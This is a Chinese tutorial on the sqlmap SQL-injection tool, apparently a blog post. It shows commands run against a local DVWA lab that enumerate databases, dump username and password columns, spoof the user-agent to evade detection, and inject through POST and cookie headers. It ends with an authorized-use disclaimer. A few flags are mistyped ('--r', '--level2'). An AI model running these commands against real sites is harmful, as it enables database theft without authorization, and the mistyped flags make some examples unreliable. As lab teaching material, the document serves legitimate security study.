SQL注入——Sqlmap工具使用

一、Sqlmap介绍

Sqlmap 是一个使用python语言开发的开源的渗透测试工具,可以用来进行自动化检测,利用 SQL 注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。

前置:python环境

下载

官网: https://sqlmap.org/

github地址: https://github.com/sqlmapproject/sqlmap

国内可下载地址: https://gitee.com/yijingsec/sqlmap


二、使用方法

  1. 首先进入到 Sqlmap 目录,把输入框改为cmd,回车。或者右击------>在终端打开。
  1. 可以看到在命令提示符里已经进入到了所在目录

  2. 进入 python 环境,然后执行 python sqlmap.py -h 查看使用帮助

    就可以看到详细使用帮助了,看不懂的直接用翻译即可。
    kali系统自带这个工具直接使用即可。


常用技巧:

基本格式python sqlmap.py -u "网址",以下均为示例

A. 注入GET型

  1. URL里只有一个参数
bash 复制代码
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"
  1. URL里有两个参数则需要用引号" "把URL包裹起来
    -p 指定测试点
bash 复制代码
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" -p page
  1. --batch 为自动化测试,所有选择自动帮助选择
bash 复制代码
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/" -p page --batch
  1. --dbs获取网站所有的数据库名
bash 复制代码
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs
  1. --tables 获取表名, -D 指定数据库
bash 复制代码
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" -D 数据库名 --tables
  1. --columns 获取列名 , -T 指定数据表
bash 复制代码
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" -D 数据库名 -T 数据表 --columns
  1. --dump 获取数据(拖库,实战中禁用慎用), -C 指定列名,执行的记录结果保存在用户文件夹下
    的 AppData\Local\sqlmap\output\ 里
bash 复制代码
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" -D 数据库名 -T 数据表 -C id,username,password --dump
  1. GET型注入ua头会带有明显的Sqlmap标识,可以使用 --random-agent 参数随机使用User-agent头 ,也
    可以自己指定ua头。
bash 复制代码
`python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --user-agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0"`

B. 注入POST型

  1. 将请求包抓取并把请求包保存到文本里、

  2. 使用 -r 参数指定文件

bash 复制代码
python sqlmap.py --r test.txt --p uname

C. 注入head头

SQLmap默认测试所有的GET和POST参数,当 level 的值大于等于2的时候也会测试 Cookie 头的值,

当大于等于3的时候也会测试 User-Agent 和 Referer 头的值,最高可到5。

bash 复制代码
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "uname=Dumb" --level2 --dbs

宇宙级免责声明

  1. 本文仅用于授权测试与教育目的,禁止用于非法渗透。
  2. 未经许可对他人系统测试可能触犯法律,后果自负。
  3. 技术研究应遵循"不伤害原则",维护网络安全生态。
    🔐 合法研究途径

✅ CTF竞赛

✅ 漏洞赏金计划(如HackerOne)

✅ 企业授权渗透测试

✅ 本地靶场(如DVWA、WebGoat)
"Knowledge is power, but ethics is its compass."

知识即力量,而道德是指南针。

相关推荐
kali-Myon1 小时前
NewStarCTF2025-Week1-Misc
安全·ctf·misc
TDengine (老段)5 小时前
TDengine 数学函数 DEGRESS 用户手册
大数据·数据库·sql·物联网·时序数据库·iot·tdengine
TDengine (老段)5 小时前
TDengine 数学函数 GREATEST 用户手册
大数据·数据库·物联网·时序数据库·iot·tdengine·涛思数据
安当加密6 小时前
云原生时代的数据库字段加密:在微服务与 Kubernetes 中实现合规与敏捷的统一
数据库·微服务·云原生
爱喝白开水a6 小时前
LangChain 基础系列之 Prompt 工程详解:从设计原理到实战模板_langchain prompt
开发语言·数据库·人工智能·python·langchain·prompt·知识图谱
想ai抽6 小时前
深入starrocks-多列联合统计一致性探查与策略(YY一下)
java·数据库·数据仓库
武子康6 小时前
Java-152 深入浅出 MongoDB 索引详解 从 MongoDB B-树 到 MySQL B+树 索引机制、数据结构与应用场景的全面对比分析
java·开发语言·数据库·sql·mongodb·性能优化·nosql
数字供应链安全产品选型6 小时前
国家级!悬镜安全入选两项“网络安全国家标准应用实践案例”
人工智能·安全·web安全
longgyy6 小时前
5 分钟用火山引擎 DeepSeek 调用大模型生成小红书文案
java·数据库·火山引擎
ytttr8737 小时前
C# 仿QQ聊天功能实现 (SQL Server数据库)
数据库·oracle·c#